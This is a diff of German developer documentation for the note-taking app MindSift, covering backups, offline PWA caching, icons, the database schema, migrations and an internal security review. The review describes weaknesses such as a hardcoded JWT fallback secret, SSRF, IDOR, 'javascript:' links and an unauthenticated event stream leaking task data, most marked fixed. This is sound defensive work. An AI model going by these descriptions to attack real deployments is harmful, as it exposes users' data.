Die Tests laufen beim Image-Build (Frontend: `npm run test:run`, Backend: `go test -v ./...`); ein Fehler bricht den Build ab. Frontend-Tests liegen unter `frontend/src/**/__tests__/` (Vitest + jsdom + Testing Library, Setup in `frontend/src/test/setup.ts`).
|
||||||
|
|
||||||
|
## Hintergrundjob: Backups
|
||||||
|
|
||||||
|
[backups.go](../internal/api/backups.go) / [backup.go](../internal/storage/backup.go): Ist „Automatische Backups“ in den Admin-Einstellungen an, läuft einmal täglich zur eingestellten Uhrzeit (`backup_time`, Zeitzone `TZ`; nach einem Neustart wird ein verpasster Lauf am selben Tag nachgeholt):
|
||||||
|
- `backups/system/mindsift-db-JJJJ-MM-TT-HHMM.db.gz`: Abzug der ganzen Datenbank per `VACUUM INTO` (stimmig, auch während geschrieben wird), gzip.
|
||||||
|
- `backups/users/<id>/mindsift-backup-….zip`: dasselbe ZIP wie „Backup herunterladen“ für jedes aktive Konto, mit den Bildern und Aufnahmen der eigenen Notizen unter `media/`.
|
||||||
|
- **Achtung:** Der Datenbank-Abzug enthält keine Mediendateien. Wer den Server sichert, sichert den ganzen Ordner `data/` (Datenbank, `media/`, `backups/`).
|
||||||
|
- Danach werden Dateien älter als `backup_retention_days` (Standard 3) gelöscht. Dateien entstehen über `.part` und Umbenennen, halbe Backups tauchen nie in der Liste auf. Die API liefert nur Dateien mit genau diesem Namensmuster aus.
|
||||||
|
- Im Demo-Modus läuft kein Zeitplan. Zurückspielen eines Datenbank-Abzugs: Container stoppen, `mindsift.db` durch die entpackte Datei ersetzen, starten. Benutzer spielen ihre eigenen Backups in den Kontoeinstellungen ein, auch nur für einzelne Bereiche (Notizen, Aufgaben, Listen, Inbox, Themes).
|
||||||
|
|
||||||
|
## Offline (PWA)
|
||||||
|
|
||||||
|
- **Service Worker** ([public/sw.js](../frontend/public/sw.js)): Seitenaufrufe Network-First mit der zuletzt geladenen `index.html` als Rückfall, Bundles unter `/assets/` (Hash im Namen) aus dem Cache, Icons und Manifest Stale-While-Revalidate. API-Anfragen fasst er nie an. Alte Caches verschwinden beim Aktivieren einer neuen `VERSION`, Bundles sind auf 80 Einträge begrenzt.
|
||||||
|
- **Lese-Cache** ([lib/offline.ts](../frontend/src/lib/offline.ts)): Jede erfolgreiche GET-Antwort landet pro Benutzer in IndexedDB (`mindsift-offline`). Ohne Verbindung liefert `request()` die letzte bekannte Antwort; so startet die App offline angemeldet und zeigt Gedanken, Aufgaben und Listen. Ausgenommen: Streams, Long-Polling, Notiz-Sync (eigener Speicher, [modules/collaboration.md](modules/collaboration.md)), Export, Suche. Abmelden leert Cache und Warteschlange.
|
||||||
|
- **Warteschlange (Outbox):** Offline erfasste Gedanken (`POST /inbox`) und abgehakte Aufgaben bzw. Listeneinträge (`PATCH`) werden in `localStorage` gesammelt, wiederholtes Umschalten zählt nur mit dem Endstand. Gesendet wird in Reihenfolge beim `online`-Ereignis, beim Start und alle 30 s, solange etwas wartet; vom Server abgelehnte Einträge (4xx) entfallen. Andere Änderungen brauchen weiterhin eine Verbindung.
|
||||||
|
- **Hinweis:** Ein Banner über der unteren Navigation zeigt „Offline“ und die Zahl wartender Änderungen bzw. „Synchronisiere…“.
|
||||||
|
- **Verbindungsstatus im Kopf** ([lib/useServerOnline.ts](../frontend/src/lib/useServerOnline.ts)): Maßgeblich ist die app-weite Echtzeit-Verbindung (WebSocket/SSE), nicht `navigator.onLine`; so fällt auch ein ausgefallener Server auf. Offline gilt erst nach 4 s ohne Verbindung (Start, kurze Reconnects), ohne Gerätenetz sofort. Desktop: „● offline“ unter dem Namen, nur ohne Verbindung; Handy: Punkt am Profilbild, grün oder rot.
|
||||||
|
|
||||||
|
## App-Icons, PWA & Social-Preview (Open Graph)
|
||||||
|
|
||||||
|
MindSift verwendet plattformübergreifend ein einheitliches App-Icon-Design, das exakt dem Icon im Kopfbereich der mobilen App entspricht:
|
||||||
|
- **Design & Geometrie:** Sanft abgerundetes Quadrat (`rx=108` auf 512x512 Canvas bzw. `rounded-xl`), Primärblau (`--accent-primary: #2563eb`) als Hintergrund und zentriertes Lucide Brain Icon in reinem Weiß (`--text-on-accent: #ffffff`).
|
||||||
|
|
||||||
|
### Asset-Matrix (`frontend/public/`)
|
||||||
|
|
||||||
|
| Datei | Zweck & Zielplattform | Besonderheit |
|
||||||
|
|---|---|---|
|
||||||
|
| `icon.svg` | Modernes Standard-Icon & SVG-Favicon | Vektor-Original mit abgerundeten Ecken |
|
||||||
|
| `icon-192x192.png`, `icon-512x512.png` | PWA-Installation (`purpose: "any"`), Desktop Linux/Windows | Erforderlich für Chromium unter Linux (erzeugt sonst kein `.desktop`-Icon) |
|
||||||
|
| `icon-maskable-192x192.png`, `icon-maskable-512x512.png`, `icon-maskable.svg` | Android Adaptive Icons (`purpose: "maskable"`) | Full-Bleed Hintergrund (`#2563eb`) ohne transparente Ecken, Brain im 80%-Sicherheitsbereich |
|
||||||
|
| `apple-touch-icon.png` (180x180) | iOS Safari („Zum Home-Bildschirm“) | Opaker Hintergrund verhindert schwarze Ränder beim automatischen Apple-Squircle-Maskieren |
|
||||||
|
| `favicon.ico`, `favicon-32x32.png`, `favicon-16x16.png` | Browser-Tabs, Lesezeichen, Chronik | Multi-Resolution-ICO (16/32/48) für alle Desktop-Browser |
|
||||||
|
| `og-image.png` (1200x630), `og-image-square.png` (512x512) | Link-Vorschau in WhatsApp, Discord, Telegram, X/Twitter | Dunkler `#0b0f19`-Hintergrund mit Icon & Claim; Datei-Größe < 120 KB (WhatsApp-Limit < 300 KB) |
|
||||||
|
|
||||||
|
### Dynamische OpenGraph-URL-Injektion
|
||||||
|
|
||||||
|
Messenger-Crawler (insbesondere WhatsApp) werten relative Bild-URLs in `og:image` oft nicht korrekt aus. Der Go-SPA-Handler in [`internal/api/server.go`](../internal/api/server.go) ersetzt beim Ausliefern von `index.html` automatisch relative Pfade (`/og-image.png`, `og:url`) durch die absolute Server-Origin (`scheme://host`), ermittelt über `X-Forwarded-Proto` und `X-Forwarded-Host` bzw. `req.Host`.
|
||||||
@@ -1,25 +1,34 @@
|
|||||||
# Datenbank
|
# Datenbank
|
||||||
|
|
||||||
SQLite-Datei `mindsift.db` (Standard: `$DATA_DIR/mindsift.db`), geöffnet mit `journal_mode=WAL`, `synchronous=NORMAL`, `foreign_keys=ON`, `busy_timeout=10000` und höchstens 8 Verbindungen. Das Schema entsteht in `Store.migrate()` ([sqlite.go](../internal/storage/sqlite.go)): zuerst `CREATE TABLE IF NOT EXISTS`, danach eine Liste idempotenter `ALTER TABLE`/`CREATE`-Anweisungen für ältere Datenbanken. IDs sind Text mit Präfix (`usr_…`, `th_…`, `tkl_…`, `lst_…`, `tls_…`, `blk_…`, `doc_…`).
|
SQLite-Datei `mindsift.db` (Standard: `$DATA_DIR/mindsift.db`), geöffnet mit `journal_mode=WAL`, `synchronous=NORMAL`, `foreign_keys=ON`, `busy_timeout=10000` und höchstens 8 Verbindungen. Das Schema entsteht in `Store.migrate()` ([sqlite.go](../internal/storage/sqlite.go)): zuerst `CREATE TABLE IF NOT EXISTS`, danach eine Liste idempotenter `ALTER TABLE`/`CREATE`-Anweisungen für ältere Datenbanken. IDs sind Text mit Präfix (`usr_…`, `th_…`, `tkl_…`, `lst_…`, `tls_…`, `blk_…`, `doc_…`) und 96 Zufallsbits in Hex; ältere Datensätze haben kürzere IDs (40 Bit).
|
||||||
|
|
||||||
Die Datei `migrations/001_init.sql` wird vom Code **nicht** gelesen und ist veraltet ([FLAW-13](flaws.md)).
|
|
||||||
|
|
||||||
## Tabellen
|
## Tabellen
|
||||||
|
|
||||||
### Benutzer und Zugang
|
### Benutzer und Zugang
|
||||||
| Tabelle | Zweck | Wichtige Spalten |
|
| Tabelle | Zweck | Wichtige Spalten |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| `users` | Konten | `email` (eindeutig), `username`, `password_hash`, `display_name`, `role` (`admin`/`member`), `is_active`, `token_version`, `alarm_channels` (kommagetrennt), `alarm_email`, `discord_webhook_url`, `custom_webhook_url`, `notify_before_minutes`, `avatar_url` |
|
| `users` | Konten | `email` (eindeutig), `username`, `password_hash`, `display_name`, `role` (`admin`/`member`), `is_active`, `token_version`, `alarm_channels` (kommagetrennt), `alarm_email`, `discord_webhook_url`, `custom_webhook_url`, `notify_before_minutes`, `avatar_url`, `organization_id` (leer = keine Organisation), `notification_settings` (JSON der Kanäle und Ereignisse), `last_daily_summary` (Datum des letzten Versands) |
|
||||||
| `user_invites` | Einladungscodes | `code`, `email`, `role`, `team_id`, `expires_at`, `used_by` |
|
| `user_invites` | Einladungscodes | `code`, `email`, `role`, `organization_id`, `expires_at`, `used_by` |
|
||||||
| `revoked_tokens` | Sperrliste ausgeloggter JWTs | `token_hash`, `expires_at` |
|
| `media` | Bilder und Audio in Notizen (Migration 5); Datei unter `$DATA_DIR/media/<doc_id>/<id>.<ext>` | `id`, `doc_id`, `owner_id`, `kind` (`image`/`audio`), `mime`, `size`, `source_url` (kopiertes externes Bild), `created_at` |
|
||||||
| `api_keys` | Webhook-/API-Schlüssel | `key_prefix`, `key_hash` (SHA-256), `scopes` (nicht ausgewertet), `last_used_at` |
|
| `link_previews` | Zwischengespeicherte Link-Vorschauen (Migration 6) | `key` (Hash der URL), `url`, `title`, `description`, `site_name`, `image`/`icon` (BLOB, mit `*_mime`), `ok`, `fetched_at` |
|
||||||
|
| `notification_queue` | Wartende Benachrichtigungen bis zum gebündelten Versand (Migration 7) | `user_id`, `kind` (`shared`/`taskDone`/`watched`), `payload` (JSON), `created_at`, `attempts` |
|
||||||
|
| `task_watchers` | Beobachtete Aufgaben (Migration 7) | `task_id`, `user_id`, `created_at` |
|
||||||
|
| `push_subscriptions` | Geräte mit Web-Push (Migration 9) | `user_id`, `endpoint` (eindeutig), `p256dh`, `auth`, `device`, `created_at` |
|
||||||
|
| `push_keys` | VAPID-Schlüsselpaar, falls nicht per Umgebung gesetzt (Migration 9) | eine Zeile: `public_key`, `private_key` |
|
||||||
|
| `journal_days` | Journal: welche Notiz zu welchem Tag gehört (Migration 8) | `user_id`, `day` (`JJJJ-MM-TT`), `doc_id`; Primärschlüssel `(user_id, day)` |
|
||||||
|
| `sessions` | Angemeldete Geräte (Migration 4, ersetzt `revoked_tokens`) | `id` (= `jti` des Tokens), `user_id`, `created_at`, `last_used_at` (höchstens alle 5 Minuten aktualisiert), `user_agent`, `ip`, `revoked_at` (leer = aktiv) |
|
||||||
|
| `user_themes` | Eigene CSS-Themes eines Benutzers | `user_id` (FK, `ON DELETE CASCADE`), `name`, `css_content` |
|
||||||
|
| `api_keys` | Webhook-/API-Schlüssel | `name`, `key_prefix`, `key_hash` (SHA-256), `scopes` (`webhook:triage`, `webhook:task`, `webhook:list`), `last_used_at` |
|
||||||
| `system_settings` | Schlüssel/Wert für Instanz-Einstellungen | `sharing_mode`, `allow_registration`, `instance_name`, `smtp_*` |
|
| `system_settings` | Schlüssel/Wert für Instanz-Einstellungen | `sharing_mode`, `allow_registration`, `instance_name`, `smtp_*` |
|
||||||
|
|
||||||
### Gedanken und Aufgaben
|
### Gedanken und Aufgaben
|
||||||
| Tabelle | Zweck | Wichtige Spalten |
|
| Tabelle | Zweck | Wichtige Spalten |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| `thoughts` | Gedanken **und** Aufgaben in einer Tabelle | `status` (`inbox`/`kept`/`converted`/`discarded`), `converted_type` (`task`/`document`/`list_item`/`document_block`), `converted_ref_id`, `priority`, `is_completed`, `due_date` (nur Datum), `task_list_id`, `kanban_status`, `notes`, `subtasks` (JSON), `tags` (JSON), `alarm_sent`, `sort_order`, `source` (`manual`, `voice`, `webhook` …) |
|
| `password_reset_tokens` | Links aus „Passwort vergessen?“ | `token_hash` (SHA-256), `user_id`, `created_at`, `expires_at` (1 h), `used_at` |
|
||||||
| `task_lists` | Aufgabenlisten | `user_id` (Eigentümer), `team_id` (Altfeld), `title`, `icon`, `color`, `columns` (JSON, Kanban-Spalten) |
|
| `thoughts` | Gedanken **und** Aufgaben in einer Tabelle | `status` (`inbox`/`kept`/`converted`/`discarded`), `converted_type` (`task`/`document`/`list_item`/`document_block`), `converted_ref_id`, `priority`, `is_completed`, `due_date` (`YYYY-MM-DD` ganztägig oder `YYYY-MM-DDTHH:MM`, Zeitzone des Servers), `task_list_id`, `kanban_status`, `notes`, `subtasks` (JSON), `tags` (JSON), `alarm_sent`, `alarm_failures` (erfolglose Alarm-Durchläufe, ab 3 aufgegeben), `recurrence` (`daily`/`weekly`/`monthly`/`yearly`/leer), `recurrence_spawned`, `sort_order`, `source` (`manual`, `voice`, `webhook` …) |
|
||||||
|
| `task_assignees` | Zuweisungen von Aufgaben | `task_id` (FK `thoughts`, `ON DELETE CASCADE`), `user_id`, `created_at`; nur Personen mit Zugriff auf die Liste, bereinigt durch `PruneTaskAssignees` |
|
||||||
|
| `task_lists` | Aufgabenlisten | `user_id` (Eigentümer), `title`, `icon`, `color`, `columns` (JSON, Kanban-Spalten) |
|
||||||
| `task_list_shares` | Freigaben von Aufgabenlisten | `target_type` (`team`/`user`), `target_id`, **`permission`** (`editor`/`viewer`, Standard `editor`) |
|
| `task_list_shares` | Freigaben von Aufgabenlisten | `target_type` (`team`/`user`), `target_id`, **`permission`** (`editor`/`viewer`, Standard `editor`) |
|
||||||
|
|
||||||
Eine Aufgabe ist ein `thought` mit `status='kept'` oder `status='converted' AND converted_type='task'`. Aufgaben, die aus einem Notiz-Block entstehen, tragen `converted_type='document_block'` und `converted_ref_id='<docId>:<blockId>'`.
|
Eine Aufgabe ist ein `thought` mit `status='kept'` oder `status='converted' AND converted_type='task'`. Aufgaben, die aus einem Notiz-Block entstehen, tragen `converted_type='document_block'` und `converted_ref_id='<docId>:<blockId>'`.
|
||||||
@@ -27,7 +36,7 @@ Eine Aufgabe ist ein `thought` mit `status='kept'` oder `status='converted' AND
|
|||||||
### Workspace
|
### Workspace
|
||||||
| Tabelle | Zweck |
|
| Tabelle | Zweck |
|
||||||
|---|---|
|
|---|---|
|
||||||
| `documents` | Notizen: `title`, `icon`, `folder_path`, `tags` (JSON), `is_archived`, `markdown_cache`, `shared_folder_id`, `sub_folder_path`, `head_seq` (letzte Log-Position), `title_version`, `log_floor` (bis hierhin ist das Log verdichtet), Altspalten `content`, `blocks_json` |
|
| `documents` | Notizen: `title`, `icon`, `folder_path`, `tags` (JSON), `is_archived` (1 = im Papierkorb), `archived_at`, `archived_by` (wer gelöscht hat), `markdown_cache`, `shared_folder_id`, `sub_folder_path`, `head_seq` (letzte Log-Position), `title_version`, `log_floor` (bis hierhin ist das Log verdichtet), Altspalten `content`, `blocks_json` |
|
||||||
| `blocks` | Outliner-Blöcke als Baum: `document_id`, `parent_id` (`''` = oberste Ebene), `order_key` (Sortierschlüssel unter Geschwistern), `type`, `content`, `checked`, `collapsed`, `lang`, `version` (Textversion), `conflict_of`/`conflict_author` (Konfliktkopien), `updated_by`, `deleted` (Grabstein) und `deleted_at` (Zeitpunkt des Löschens, für das Aufräumen). `level`/`position` sind Altspalten und werden nicht mehr gepflegt; Ebene und Reihenfolge berechnet der Server beim Lesen aus dem Baum. |
|
| `blocks` | Outliner-Blöcke als Baum: `document_id`, `parent_id` (`''` = oberste Ebene), `order_key` (Sortierschlüssel unter Geschwistern), `type`, `content`, `checked`, `collapsed`, `lang`, `version` (Textversion), `conflict_of`/`conflict_author` (Konfliktkopien), `updated_by`, `deleted` (Grabstein) und `deleted_at` (Zeitpunkt des Löschens, für das Aufräumen). `level`/`position` sind Altspalten und werden nicht mehr gepflegt; Ebene und Reihenfolge berechnet der Server beim Lesen aus dem Baum. |
|
||||||
| `doc_ops` | Änderungs-Log je Notiz: `seq` (fortlaufend pro Notiz), `op_id`, `user_id`, `client_id`, `kind`, `block_id`, `payload` (Effekt als JSON), `created_at`. Abspielen aller Einträge ab einem Snapshot ergibt den Stand. Wird verdichtet (siehe unten). |
|
| `doc_ops` | Änderungs-Log je Notiz: `seq` (fortlaufend pro Notiz), `op_id`, `user_id`, `client_id`, `kind`, `block_id`, `payload` (Effekt als JSON), `created_at`. Abspielen aller Einträge ab einem Snapshot ergibt den Stand. Wird verdichtet (siehe unten). |
|
||||||
| `doc_op_results` | Ergebnis je Client-Operation (`op_id` eindeutig) für idempotente Wiederholungen; wird nach 90 Tagen gelöscht |
|
| `doc_op_results` | Ergebnis je Client-Operation (`op_id` eindeutig) für idempotente Wiederholungen; wird nach 90 Tagen gelöscht |
|
||||||
@@ -48,14 +57,14 @@ Blocktypen: `h1`, `h2`, `h3`, `paragraph`, `text`, `todo`, `bullet`, `code`, `ca
|
|||||||
|---|---|
|
|---|---|
|
||||||
| `lists` | Geteilte Listen: `title`, `icon`, `list_type` (`shopping`/`checklist`/`vacation`) |
|
| `lists` | Geteilte Listen: `title`, `icon`, `list_type` (`shopping`/`checklist`/`vacation`) |
|
||||||
| `list_shares` | Freigaben: `target_type`, `target_id`, `role` (`editor`/`viewer`) |
|
| `list_shares` | Freigaben: `target_type`, `target_id`, `role` (`editor`/`viewer`) |
|
||||||
| `list_items` | Einträge: `content`, `category`, `quantity`, `is_completed`, `completed_by(_name)`, `sort_order` |
|
| `list_items` | Einträge: `content`, `category`, `quantity`, `is_completed`, `completed_by(_name)`, `created_by` (leer bei alten Einträgen), `sort_order` |
|
||||||
|
|
||||||
### Gruppen
|
### Gruppen
|
||||||
| Tabelle | Zweck |
|
| Tabelle | Zweck |
|
||||||
|---|---|
|
|---|---|
|
||||||
| `teams` | `name`, `description`, `org_id` (Standard `default`) |
|
| `teams` | Gruppen der Benutzer: `name`, `description`, `org_id` (Organisation des Erstellers) |
|
||||||
| `team_members` | `team_id`, `user_id`, `role` (`admin`/`member`) |
|
| `team_members` | `team_id`, `user_id`, `role` (`admin`/`member`) |
|
||||||
| `organizations` | Rudimentär; wird vom UI nicht mehr benötigt ([FLAW-24](flaws.md)) |
|
| `organizations` | Vom Server-Admin angelegt: `name`. Mitglieder über `users.organization_id` (höchstens eine pro Benutzer) |
|
||||||
|
|
||||||
## Beziehungen
|
## Beziehungen
|
||||||
|
|
||||||
@@ -74,11 +83,11 @@ teams 1─n team_members n─1 users
|
|||||||
## Migrationen und Aufräumarbeiten beim Start
|
## Migrationen und Aufräumarbeiten beim Start
|
||||||
|
|
||||||
- Spalten/Tabellen/Indizes werden nachgezogen (`ALTER TABLE … ADD COLUMN`, Fehler werden ignoriert).
|
- Spalten/Tabellen/Indizes werden nachgezogen (`ALTER TABLE … ADD COLUMN`, Fehler werden ignoriert).
|
||||||
- Veraltete Tabellen werden gelöscht: `spaces`, `space_members`, `space_team_shares`, `document_crdt_state`, `document_crdt_updates`, `document_blocks`, `doc_block_tags`.
|
- Veraltete Tabellen werden gelöscht: `spaces`, `space_members`, `space_team_shares`, `document_crdt_state`, `document_crdt_updates`, `document_blocks`, `doc_block_tags`, `revoked_tokens`.
|
||||||
- `users.username` wird aus dem E-Mail-Präfix aufgefüllt.
|
- `users.username` wird aus dem E-Mail-Präfix aufgefüllt.
|
||||||
- Notiz-Synchronisation (`migrateDocSync`): neue Spalten an `blocks` (inkl. `deleted_at`; vorhandene Grabsteine erhalten den Migrationszeitpunkt) und `documents` (`head_seq`, `title_version`, `log_floor`), Tabellen `doc_ops` und `doc_op_results`. Blöcke im alten flachen Format (nur `level`/`position`) werden einmalig in den Baum umgewandelt.
|
- Notiz-Synchronisation (`migrateDocSync`): neue Spalten an `blocks` (inkl. `deleted_at`; vorhandene Grabsteine erhalten den Migrationszeitpunkt) und `documents` (`head_seq`, `title_version`, `log_floor`), Tabellen `doc_ops` und `doc_op_results`. Blöcke im alten flachen Format (nur `level`/`position`) werden einmalig in den Baum umgewandelt.
|
||||||
- Standardwerte in `system_settings` (`INSERT OR IGNORE`): `sharing_mode=teams_only`, `allow_registration=false`, `instance_name=MindSift`, SMTP leer.
|
- Standardwerte in `system_settings` (`INSERT OR IGNORE`): `sharing_mode=organizations`, `allow_registration=false`, `instance_name=MindSift`, SMTP leer.
|
||||||
- Die Tabelle `teams` wird einmalig ohne Fremdschlüssel auf `organizations` neu aufgebaut.
|
- **Migrationen:** [migrations.go](../internal/storage/migrations.go) führt nummerierte Schritte (Migrationen 3 bis 9: 3 „Basis-Schema v0.4.1“, 4 „Sitzungen“, 5 „Medien“, 6 „Link-Vorschauen“, 7 „Benachrichtigungen“, 8 „Journal“, 9 „Web-Push“) genau einmal aus und vermerkt sie in `schema_migrations` (`id`, `name`, `applied_at`); `PRAGMA user_version` zeigt die höchste angewandte Nummer. Schritt 3 (`migrateBaseline`) baut das Basisschema auf und bringt ältere Datenbanken auf diesen Stand; Spalten werden nur angelegt, wenn sie fehlen. Schlägt ein Schritt fehl, bricht der Start mit der Fehlermeldung ab, statt mit halbem Schema weiterzulaufen. Neue Änderungen kommen als neuer Schritt ans Ende, alte Schritte werden nie verändert. Daten werden beim Start nie gelöscht; nur der Demo-Modus leert die Datenbank.
|
||||||
|
|
||||||
## Sicherung
|
## Sicherung
|
||||||
|
|
||||||
|
|||||||
@@ -1,8 +1,8 @@
|
|||||||
# Bekannte Schwachstellen, Risiken & technische Schulden (Flaws)
|
# Schwachstellen, Risiken & Ideen
|
||||||
|
|
||||||
Stand: Code-Review des Branches `dev` (Oktober 2026). Jeder Eintrag wurde gegen den Quellcode geprüft; die Fundstellen sind angegeben. Einträge ohne Live-Test sind als *nicht live verifiziert* markiert.
|
Stand: Review des Branches `dev` nach v0.5 (Oktober 2026). Die frühere Liste (FLAW-01 bis FLAW-27) ist abgearbeitet und entfernt; ihre Geschichte steht in den Commits. Neue Einträge zählen ab FLAW-28 weiter, damit Verweise in Commits eindeutig bleiben. Jeder Eintrag ist gegen den Quellcode geprüft; die Fundstellen sind angegeben.
|
||||||
|
|
||||||
Schweregrade: **Hoch** (Datenabfluss oder Rechteumgehung möglich), **Mittel** (Fehlfunktion oder Schutz greift nicht), **Niedrig** (Wartbarkeit, Komfort, Hygiene).
|
Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel** (Schutz greift nicht oder Fehlfunktion unter realistischen Bedingungen), **Niedrig** (Härtung, Datenschutz, Wartbarkeit).
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -10,190 +10,142 @@ Schweregrade: **Hoch** (Datenabfluss oder Rechteumgehung möglich), **Mittel** (
|
|||||||
|
|
||||||
| ID | Bereich | Kurzbeschreibung | Schwere |
|
| ID | Bereich | Kurzbeschreibung | Schwere |
|
||||||
|---|---|---|---|
|
|---|---|---|---|
|
||||||
| FLAW-01 | Realtime | ~~`BroadcastToAll` sendet Aufgaben- und Listendaten an alle Verbindungen~~ | **Behoben** |
|
| FLAW-28 | Frontend | ~~`javascript:`-Links in Markdown (Aufgaben-Notizen) werden ausgeführt~~ | **Behoben** |
|
||||||
| FLAW-02 | Realtime | ~~Räume ohne Berechtigungsprüfung~~ | **Behoben** |
|
| FLAW-29 | Netzwerk | ~~Keine Sicherheits-Header (CSP, Clickjacking-Schutz, `nosniff`)~~ | **Behoben** |
|
||||||
| FLAW-03 | Aufgaben | ~~`ReorderTasks` ändert beliebige Aufgaben per ID (IDOR)~~ | **Behoben** |
|
| FLAW-30 | Konto | ~~Passwort und E-Mail lassen sich ohne das aktuelle Passwort ändern~~ | **Behoben** |
|
||||||
| FLAW-04 | Auth | Fest eincodiertes Fallback-`JWT_SECRET` | **Hoch** |
|
| FLAW-31 | Auth | ~~Sitzungs-Token 30 Tage gültig und im `localStorage`~~ | **Teilweise behoben** |
|
||||||
| FLAW-05 | Benachrichtigungen | Discord-/Webhook-URLs ungeprüft (SSRF) | Mittel |
|
| FLAW-32 | Daten | ~~IDs und Einladungscodes haben nur 40 Bit Zufall~~ | **Behoben** |
|
||||||
| FLAW-06 | Aufgaben | Jeder Editor einer Aufgabenliste kann sie per `teamId` an weitere Gruppen freigeben | Mittel |
|
| FLAW-33 | Demo | ~~Öffentliche Demo als Absender missbrauchbar (Alarm-Webhooks, Testmails, Server-Einstellungen)~~ | **Behoben** |
|
||||||
| FLAW-07 | Auth | API-Key-`scopes` werden nie ausgewertet; ein Key ist ein Vollzugriff | Mittel |
|
| FLAW-34 | Admin | ~~SMTP-Passwort im Klartext an die Oberfläche~~, in DB und Datenbank-Backups | **Teilweise behoben** |
|
||||||
| FLAW-08 | Auth | Webhook-Ingest mit JWT prüft weder Sperrliste noch `token_version` noch `is_active` | Mittel |
|
| FLAW-35 | Netzwerk | ~~Webhook-Ingest nimmt Sitzungs-Token und Keys auch als `?token=`~~ | **Behoben** |
|
||||||
| FLAW-09 | Auth | Kein Rate-Limit, keine Sperre bei Fehlversuchen, Mindestpasswort 4 Zeichen | Mittel |
|
| FLAW-36 | Backend | ~~Kein allgemeines Größenlimit für JSON-Anfragen~~ | **Behoben** |
|
||||||
| FLAW-10 | Freigaben | `sharing_mode` wird bei Freigaben nicht durchgesetzt; Benutzerverzeichnis leakt alle Konten | Mittel |
|
| FLAW-37 | Datenschutz | ~~Konto löschen entfernt die Server-Backups des Kontos nicht~~ | **Behoben** |
|
||||||
| FLAW-11 | Workspace | ~~Block-Upsert (`ON CONFLICT(id)`) prüft das Dokument nicht~~ | **Behoben** |
|
| FLAW-38 | Betrieb | ~~`WriteTimeout` von 30 s bricht große Downloads ab~~ | **Behoben** |
|
||||||
| FLAW-12 | Benachrichtigungen | `notify_before_minutes` wirkungslos; Alarm feuert nach Umplanung nie wieder | Mittel |
|
| FLAW-39 | Auth | ~~Kein Rate-Limit für Registrierung, Einladungscodes und „Passwort vergessen“ je Adresse~~ | **Behoben** |
|
||||||
| FLAW-13 | Datenbank | Keine Schema-Versionierung; Migrationsfehler werden verschluckt; `migrations/001_init.sql` ist toter Code | Mittel |
|
| FLAW-40 | Auth | ~~Einladungscode bei gleichzeitiger Nutzung zweimal einlösbar~~ | **Behoben** |
|
||||||
| FLAW-14 | Backend | Fehler von Schreiboperationen werden häufig ignoriert (`_, _ =`) | Mittel |
|
| FLAW-41 | Qualität | Sehr große Frontend-Dateien | Niedrig |
|
||||||
| FLAW-15 | Realtime | ~~`WriteTimeout` von 30 s beendet SSE-Streams~~ | **Behoben** |
|
|
||||||
| FLAW-16 | Setup | `/auth/setup` ist bis zum ersten Konto offen; Demo-Modus legt `admin/admin` an | Mittel |
|
|
||||||
| FLAW-17 | Workspace | ~~Bearbeiter-Freigaben für Notizen nicht wählbar~~ | **Behoben** |
|
|
||||||
| FLAW-18 | Suche | Nur eigene Gedanken und Dokumente, `LIKE` ohne Escaping, keine FTS | Niedrig |
|
|
||||||
| FLAW-19 | Qualität | Frontend-Tests nur für den Outliner, `lint` ist ein Platzhalter | Niedrig |
|
|
||||||
| FLAW-20 | Qualität | Sehr große Dateien, duplizierte Zugriffslogik | Niedrig |
|
|
||||||
| FLAW-21 | Repo | `LICENSE` fehlt, obwohl README MIT angibt | Niedrig |
|
|
||||||
| FLAW-22 | Netzwerk | Token in der URL (WS/SSE), CORS `*`, `CheckOrigin` immer `true` | Niedrig |
|
|
||||||
| FLAW-23 | SQLite | Single-Writer-Engpass bei vielen gleichzeitigen Schreibern | Niedrig |
|
|
||||||
| FLAW-24 | Gruppen | Organisations-Endpunkte ohne Berechtigungsprüfung | Mittel |
|
|
||||||
| FLAW-25 | Workspace | ~~Struktur-Aktionen an fremd gesperrten Bullets nur teilweise ausgeführt~~ | **Behoben** |
|
|
||||||
| FLAW-26 | Workspace | ~~Nach Enter landet sehr schnell Getipptes noch im vorherigen Bullet~~ | **Behoben** |
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Details
|
## Details
|
||||||
|
|
||||||
### FLAW-01: Broadcast an alle Verbindungen (Datenabfluss)
|
### FLAW-28: `javascript:`-Links in Markdown
|
||||||
- **Status: Behoben.** `BroadcastToAll` existiert nicht mehr. Aufgabenereignisse gehen an Eigentümer und Benutzer der Liste (`GetTaskListUserIDs`), Listenereignisse tragen nur noch die ID, Ordnerereignisse gehen an Benutzer bzw. Ordnerbeteiligte (`GetSharedFolderUserIDs`). Test: `TestTaskEventsOnlyReachAuthorizedUsers`.
|
- **Status: Behoben.** `safeHref` ([lib/safeUrl.ts](../frontend/src/lib/safeUrl.ts)) lässt nur `http:`, `https:` und `mailto:` zu und wird von Markdown-Anzeige, Outliner und Impressums-Links genutzt; sonst erscheint der Link als Text. Tests: `safeUrl.test.tsx`.
|
||||||
- **Fundstellen:** [`internal/ws/hub.go`](../internal/ws/hub.go) `BroadcastToAll`; Aufrufer in [`internal/api/server.go`](../internal/api/server.go): `handleUpdateThought` (`TASK_UPDATED`), `handleDeleteThought` (`TASK_DELETED`), `handleReorderTasks` (`TASK_REORDERED`), `handleUpdateTaskList`, `handleCreateTaskListShare`, `handleDeleteTaskListShare` (`TASK_LIST_UPDATED`), `handleDeleteTaskList`.
|
- **Fundstelle:** `renderInline` in [lib/markdown.tsx](../frontend/src/lib/markdown.tsx): `[Text](URL)` wird ungeprüft zu `<a href={url}>`. Verwendet für Aufgaben-Notizen (`TaskDetailModal`) und Impressum/Datenschutz.
|
||||||
- **Problem:** `BroadcastToAll` schreibt an `allClients` und `sseClients`. Dazu zählen auch Verbindungen mit `userID = "anonymous"`, denn `handleWebSocket` und `handleSSE` liegen außerhalb der Auth-Gruppe und lassen jede Verbindung zu. Der vollständige Aufgabeninhalt (Titel, Notizen, Unteraufgaben) und die Listen samt Mitgliedern gehen so an jeden, der `/api/v1/events` öffnet.
|
